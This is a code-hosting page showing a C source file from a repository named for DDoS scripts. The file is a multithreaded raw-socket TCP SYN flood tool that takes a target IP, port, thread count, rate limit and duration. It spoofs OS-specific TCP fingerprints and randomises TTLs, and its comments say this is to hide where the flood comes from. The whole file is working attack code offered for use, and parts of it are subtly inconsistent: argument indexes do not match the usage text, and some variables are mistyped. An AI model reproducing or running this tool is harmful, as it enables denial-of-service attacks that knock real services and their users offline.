Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
R00tS3c
GitHub Repository: R00tS3c/DDOS-RootSec
Path: blob/master/DDOS Scripts/L4/TCP/evs_v1.c
4565 views
1
#include <unistd.h>
2
#include <time.h>
3
#include <sys/types.h>
4
#include <sys/socket.h>
5
#include <sys/ioctl.h>
6
#include <string.h>
7
#include <stdlib.h>
8
#include <stdio.h>
9
#include <pthread.h>
10
#include <netinet/tcp.h>
11
#include <netinet/ip.h>
12
#include <netinet/in.h>
13
#include <netinet/if_ether.h>
14
#include <netdb.h>
15
#include <net/if.h>
16
#include <arpa/inet.h>
17
#define MAX_PACKET_SIZE 4096
18
#define PHI 0x9e3779b9
19
static unsigned long int Q[4096], c = 362436;
20
static unsigned int floodport;
21
static unsigned int srcport;
22
volatile int limiter;
23
volatile unsigned int pps;
24
volatile unsigned int sleeptime = 100;
25
void init_rand(unsigned long int x)
26
{
27
int i;
28
Q[0] = x;
29
Q[1] = x + PHI;
30
Q[2] = x + PHI + PHI;
31
for (i = 3; i < 4096; i++){ Q[i] = Q[i - 3] ^ Q[i - 2] ^ PHI ^ i; }
32
}
33
unsigned long int rand_cmwc(void)
34
{
35
unsigned long long int t, a = 18782LL;
36
static unsigned long int i = 4095;
37
unsigned long int x, r = 0xfffffffe;
38
i = (i + 1) & 4095;
39
t = a * Q[i] + c;
40
c = (t >> 32);
41
x = t + c;
42
if (x < c) {
43
x++;
44
c++;
45
}
46
return (Q[i] = r - x);
47
}
48
uint16_t checksum_generic(uint16_t *addr, uint32_t count)
49
{
50
register unsigned long sum = 0;
51
52
for (sum = 0; count > 1; count -= 2)
53
sum += *addr++;
54
if (count == 1)
55
sum += (char)*addr;
56
57
sum = (sum >> 16) + (sum & 0xFFFF);
58
sum += (sum >> 16);
59
60
return ~sum;
61
}
62
uint16_t checksum_tcpudp(struct iphdr *iph, void *buff, uint16_t data_len, int len)
63
{
64
const uint16_t *buf = buff;
65
uint32_t ip_src = iph->saddr;
66
uint32_t ip_dst = iph->daddr;
67
uint32_t sum = 0;
68
int length = len;
69
70
while (len > 1)
71
{
72
sum += *buf;
73
buf++;
74
len -= 2;
75
}
76
77
if (len == 1)
78
sum += *((uint8_t *) buf);
79
80
sum += (ip_src >> 16) & 0xFFFF;
81
sum += ip_src & 0xFFFF;
82
sum += (ip_dst >> 16) & 0xFFFF;
83
sum += ip_dst & 0xFFFF;
84
sum += htons(iph->protocol);
85
sum += data_len;
86
87
while (sum >> 16)
88
sum = (sum & 0xFFFF) + (sum >> 16);
89
90
return ((uint16_t) (~sum));
91
}
92
void setup_ip_header(struct iphdr *iph)
93
{
94
iph->ihl = 5;
95
iph->version = 4;
96
iph->tos = 0;
97
iph->tot_len = sizeof(struct iphdr) + sizeof(struct tcphdr) + 12;
98
iph->id = htonl(54321);
99
iph->frag_off = 0x0040;
100
iph->ttl = MAXTTL;
101
iph->protocol = 6;
102
iph->check = 0;
103
}
104
void setup_tcp_header(struct tcphdr *tcph)
105
{
106
tcph->source = htons(5678);
107
tcph->seq = rand();
108
tcph->ack_seq = 0;
109
tcph->res2 = 0;
110
tcph->doff = 8;
111
tcph->syn = 1;
112
tcph->window = htons(64240);
113
tcph->check = 0;
114
tcph->urg_ptr = 0;
115
memcpy((void *)tcph + sizeof(struct tcphdr), "\x02\x04\x05\xb4\x01\x03\x03\x08\x01\x01\x04\x02", 12);
116
}
117
void *flood(void *par1)
118
{
119
char *td = (char *)par1;
120
char datagram[MAX_PACKET_SIZE];
121
struct iphdr *iph = (struct iphdr *)datagram;
122
struct tcphdr *tcph = (void *)iph + sizeof(struct iphdr);
123
struct sockaddr_in sin;
124
sin.sin_family = AF_INET;
125
sin.sin_port = htons(floodport);
126
sin.sin_addr.s_addr = inet_addr(td);
127
int s = socket(PF_INET, SOCK_RAW, IPPROTO_TCP);
128
if(s < 0){
129
fprintf(stderr, "Could not open raw socket.\n");
130
exit(-1);
131
}
132
memset(datagram, 0, MAX_PACKET_SIZE);
133
setup_ip_header(iph);
134
setup_tcp_header(tcph);
135
tcph->dest = htons(floodport);
136
iph->saddr = sin.sin_addr.s_addr;
137
iph->check = checksum_generic((uint16_t *)iph, sizeof (struct iphdr));
138
int tmp = 1;
139
const int *val = &tmp;
140
if(setsockopt(s, IPPROTO_IP, IP_HDRINCL, val, sizeof (tmp)) < 0){
141
fprintf(stderr, "Error: setsockopt() - Cannot set HDRINCL!\n");
142
exit(-1);
143
}
144
init_rand(time(NULL));
145
register unsigned int i;
146
i = 0;
147
uint32_t seq = 0;
148
uint8_t current = 0;
149
current = rand() % 3;
150
if(current == 0){
151
fprintf(stdout, "Using config [0] ToS=0x00 | SYN=1 | Win=64240 | MSS=1460 NOP WS=256 NOP NOP SACK_PERM=1\n");
152
}
153
else if(current == 1){
154
fprintf(stdout, "Using config [1] ToS=0x00 | SYN=1 | Win=29200 | MSS=1460 SACK_PERM=1 TSval=RAND NOP WS=128\n");
155
}
156
else if(current == 2){
157
fprintf(stdout, "Using config [2] ToS=0x00 | SYN=1 | Win=65535 | MSS=1400 SACK_PERM=1 TSval=RAND NOP WS=128\n");
158
}
159
160
161
else if(current == 99){
162
// Need to deeply test
163
fprintf(stdout, "Using config [3] ToS=0x02 | SYN=1 ECN=1 CWR=1 | Win=8192 | MSS=1460 NOP WS=256 NOP NOP SACK_PERM=1 \n");
164
}
165
char *tsval;
166
167
tcph->source = htons(srcport);
168
169
while(1){
170
171
// SYN Packet
172
iph->daddr = (rand_cmwc() & 0xFFFFFFFF);
173
tcph->seq = rand_cmwc() & 0xFFFFFFFF;
174
iph->id = htons(rand_cmwc() & 0xFFFF);
175
176
if(current == 0){
177
// Win
178
iph->tot_len = sizeof(struct iphdr) + sizeof(struct tcphdr) + 12;
179
iph->tos = 0;
180
iph->ttl = rand() % 10 + 128; // Windows 10 TTL = 128 (Add some permutation to hide the flood come from the same path)
181
182
memcpy((void *)tcph + sizeof(struct tcphdr), "\x02\x04\x05\xb4\x01\x03\x03\x08\x01\x01\x04\x02", 12);
183
iph->check = checksum_generic((uint16_t *)iph, sizeof (struct iphdr));
184
tcph->doff = 8;
185
tcph->syn = 1;
186
tcph->res2 = 0;
187
tcph->window = htons(64240);
188
tcph->check = 0;
189
tcph->check = checksum_tcpudp(iph, tcph, htons(sizeof (struct tcphdr) + 12), sizeof (struct tcphdr) + 12);
190
}
191
else if(current == 1){
192
// Redhat
193
iph->tot_len = sizeof(struct iphdr) + sizeof(struct tcphdr) + 20;
194
iph->tos = 0;
195
iph->ttl = rand() % 10 + 64; // Redhat TTL = 64 (Add some permutation to hide the flood come from the same path)
196
197
tsval = rand_cmwc() & 0xFFFFFFFF;
198
199
memcpy((void *)tcph + sizeof(struct tcphdr), "\x02\x04\x05\xb4\x04\x02\x08\x0a", 8);
200
memcpy((void *)tcph + sizeof(struct tcphdr) + 8, &tsval, 4);
201
memcpy((void *)tcph + sizeof(struct tcphdr) + 12, "\x00\x00\x00\x00\x01\x03\x03\x07", 8);
202
203
iph->check = checksum_generic((uint16_t *)iph, sizeof (struct iphdr));
204
tcph->doff = 10;
205
tcph->syn = 1;
206
tcph->res2 = 0;
207
tcph->window = htons(29200);
208
tcph->check = 0;
209
tcph->check = checksum_tcpudp(iph, tcph, htons(sizeof (struct tcphdr) + 20), sizeof (struct tcphdr) + 20);
210
}
211
212
else if(current == 2){
213
// Android
214
iph->tot_len = sizeof(struct iphdr) + sizeof(struct tcphdr) + 20;
215
iph->tos = 0;
216
iph->ttl = rand() % 10 + 64; // Android TTL = 64 (Add some permutation to hide the flood come from the same path)
217
218
tsval = rand_cmwc() & 0xFFFFFFFF;
219
220
memcpy((void *)tcph + sizeof(struct tcphdr), "\x02\x04\x05\x78\x04\x02\x08\x0a", 8);
221
memcpy((void *)tcph + sizeof(struct tcphdr) + 8, &tsval, 4);
222
memcpy((void *)tcph + sizeof(struct tcphdr) + 12, "\x00\x00\x00\x00\x01\x03\x03\x07", 8);
223
224
iph->check = checksum_generic((uint16_t *)iph, sizeof (struct iphdr));
225
tcph->doff = 10;
226
tcph->syn = 1;
227
tcph->res2 = 0;
228
tcph->window = htons(65535);
229
tcph->check = 0;
230
tcph->check = checksum_tcpudp(iph, tcph, htons(sizeof (struct tcphdr) + 20), sizeof (struct tcphdr) + 20);
231
}
232
else if(current == 3){
233
// Idk some unix (Not working fine some providers mitigate ???)
234
iph->tot_len = sizeof(struct iphdr) + sizeof(struct tcphdr) + 12;
235
iph->tos = 0x02;
236
237
memcpy((void *)tcph + sizeof(struct tcphdr), "\x02\x04\x05\xb4\x01\x03\x03\x08\x01\x01\x04\x02", 12);
238
239
iph->check = checksum_generic((uint16_t *)iph, sizeof (struct iphdr));
240
tcph->doff = 8;
241
tcph->syn = 1;
242
tcph->res2 = 3;
243
tcph->window = htons(8192);
244
tcph->check = 0;
245
tcph->check = checksum_tcpudp(iph, tcph, htons(sizeof (struct tcphdr) + 12), sizeof (struct tcphdr) + 12);
246
}
247
248
249
250
sendto(s, datagram, iph->tot_len, 0, (struct sockaddr *) &sin, sizeof(sin));
251
252
pps++;
253
if(i >= limiter)
254
{
255
i = 0;
256
usleep(sleeptime);
257
}
258
i++;
259
}
260
}
261
int main(int argc, char *argv[ ])
262
{
263
if(argc < 7){
264
fprintf(stderr, "Invalid parameters!\n");
265
fprintf(stdout, "Private TCP ~ edited by Swurzz \n");
266
fprintf(stdout, "Usage: %s <target IP> <port of victim> <number threads to use> <pps limiter, -1 for no limit> <time>\n", argv[0]);
267
exit(-1);
268
}
269
fprintf(stdout, "Setting up Sockets...\n");
270
int num_threads = atoi(argv[4]);
271
floodport = atoi(argv[3]);
272
srcport = atoi(argv[2]);
273
int maxpps = atoi(argv[5]);
274
limiter = 0;
275
pps = 0;
276
pthread_t thread[num_threads];
277
int multiplier = 20;
278
int i;
279
for(i = 0;i<num_threads;i++){
280
pthread_create( &thread[i], NULL, &flood, (void *)argv[1]);
281
}
282
fprintf(stdout, "Starting Flood...\n");
283
for(i = 0;i<(atoi(argv[6])*multiplier);i++)
284
{
285
usleep((1000/multiplier)*1000);
286
if((pps*multiplier) > maxpps)
287
{
288
if(1 > limiter)
289
{
290
sleeptime+=100;
291
} else {
292
limiter--;
293
}
294
} else {
295
limiter++;
296
if(sleeptime > 25)
297
{
298
sleeptime-=25;
299
} else {
300
sleeptime = 0;
301
}
302
}
303
pps = 0;
304
}
305
return 0;
306
}
307